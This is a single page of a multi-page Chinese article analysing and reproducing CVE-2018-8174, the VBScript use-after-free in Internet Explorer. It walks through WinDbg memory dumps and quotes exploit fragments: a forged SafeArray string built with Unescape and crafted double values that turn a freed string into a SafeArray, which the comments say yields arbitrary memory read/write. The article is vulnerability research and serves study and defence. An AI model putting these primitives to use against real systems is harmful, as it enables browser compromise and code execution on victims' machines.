CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
//源码 cla5_obj1.mem=str_1
0:005> dd 01c***f0
01c***f0  01cb74a8 000000b8 00000100 00000100
01cb5100  00004000 01cb74ac 01cb754c 01cb3e30
01cb5110  0000000f 00000003 00000040 00000003
01cb5120  00000014 01cb5128 01cb74ac 01cb74f4
01cb5130  01cb752c 00000475 00000000 01cb5100
01cb5140  01cb5114 00000002 00000000 00000477
01cb5150  0000047d 000015c6 00000002 00000000
01cb5160  0000047e 00000482 00000bfc 00000012
0:005> dd 01cb752c
01cb752c  00000008 00000000 002de2f4 00000000  //0x08是类型,代表的vbstring,后面会把这个类型改为safearray即0x200c
01cb753c  00000000 00000000 0000822f 00000006
01cb754c  00000000 00000000 00000003 01cb752c
01cb755c  0065006d 0000006d 00000b19 00000b5b
01cb756c  00000000 01cb749c 01cb7540 00000001
01cb757c  00000000 00000b65 00000b69 01cb7824
01cb758c  00000001 00000000 00000b6a 00000b6e
01cb759c  01cb7824 00000002 00000000 00000b6f
//看伪造的这个类似于数组的字符串,它的元素有7fffffff个,每个元素占一字节,元素内存地址为0,那它能访问的内存空间是0-0x7fffffff
//如果现在类型变为safearray,就能够实现全址读写
//str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
0:005> dd 002de2f4       
002de2f4  08800001 00000001 00000000 00000000
002de304  7fffffff 00000000 00000000 585693f7
002de314  88000000 0000000e 81ea6765 98757f51
双精度浮点数完成类型混淆的原理
Get P 执行完成后,P作为返回值返回给cla4.mem成员变量中,那么P是什么:
//源码中;
P=174088534690791e-324
//优化后这样的:
P=CDbl("174088534690791e-324")  //CDbl是vbs中的吧表达式转化为双精度类型的一个函数
174088534690791 e-324 是174088534690791的-324平方
用c语言计算为:printf("%I64x/n",174088534690791e-324);
为,200c00000000,
由它是vbDouble类型,前面会有一个0x05的标志,
最终在内存中P的值为:00000005 00000000 00000000 0000200C
再次查看mem地址;
0:005> dd 01cb752c
01cb752c  0000200c 00000000 002de2f4 00000000   //类型被改为200c,代表着safearray类型01cb753c  00000000 00000000 0000822f 00000006
01cb754c  00000000 00000000 00000003 01cb752c
01cb755c  0065006d 0000006d 00000b19 00000b5b
01cb756c  00000000 01cb749c 01cb7540 00000001
01cb757c  00000000 00000b65 00000b69 01cb7824
01cb758c  00000001 00000000 00000b6a 00000b6e
01cb759c  01cb7824 00000002 00000000 00000b6f
0:005> dd 01cb752c-c
01cb7520  00000005 00000000 00000000 0000200c  //这个就是P在内存中的值01cb7530  00000000 002de2f4 00000000 00000000
01cb7540  00000000 0000822f 00000006 00000000
01cb7550  00000000 00000003 01cb752c 0065006d
01cb7560  0000006d 00000b19 00000b5b 00000000
01cb7570  01cb749c 01cb7540 00000001 00000000
01cb7580  00000b65 00000b69 01cb7824 00000001
01cb7590  00000000 00000b6a 00000b6e 01cb7824
//为什么是从mem地址-c开始的,,这个-c的位置,是原来没有被释放的时候的cla4_obj1.mem的地址,
//就是P修改的是释放前的mem的地址,释放前与占位后的mem相差0x0C字节,
//00000005 00000000 00000000 0000200C这个数,刚好从0c的位置写入了0x200c
最终实现了 vbstring-->safearray的类型转换,cla5.mem最终拿到任意地址读写权限
在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法,
伪造的字符串:
str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
转换的类型:
P=CDbl("636598737289582e-328")  //dd 00000005 00000000 00000000 00000003
0x03是vbLong类型;
cla7的Get P中的第一次IsEmpty,free类对象地址:
//这次特意提前保存了没有被free的cla4_obj2类对象地址的状态:
0:005> dd 1cb2560
01cb2560  712f1748 00000007 01cb5210 003be638
01cb2570  000003ec 00000000 00000000 00000000
01cb2580  00000000 002a613c 01cb2528 01cb24f0
01cb2590  59acc23f 80000000 712f00d4 71303100
01cb25a0  713030f0 00000000 00000000 00000000
01cb25b0  00000000 0249cb64 00000000 00000000
01cb25c0  00000000 00000000 59acc234 80000000
01cb25d0  712f00db 71303100 713030f0 00000000
//目前还是cla4_obj2.mem
0:005> dd 01cb5210
01cb5210  01cb76d8 000000ac 00000100 00000100
01cb5220  00004000 01cb76dc 01cb7770 01cb3ec0
01cb5230  0000000f 00000003 00000040 00000003
01cb5240  00000014 01cb5248 01cb76dc 01cb7710
01cb5250  01cb7750 000004a3 00000000 01cb51b8
01cb5260  01cb522c 00000002 00000000 000004a5
//占位前的mem地址是01cb7750
0:005> dd 01cb7750
01cb7750  02490000 01cd2808 01cc0000 0249ce98
01cb7760  00000000 01cb7938 0000822f 00000006
01cb7770  00000000 00000000 00000003 00000000
Class cla4 at 1cb2560, terminate called
Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页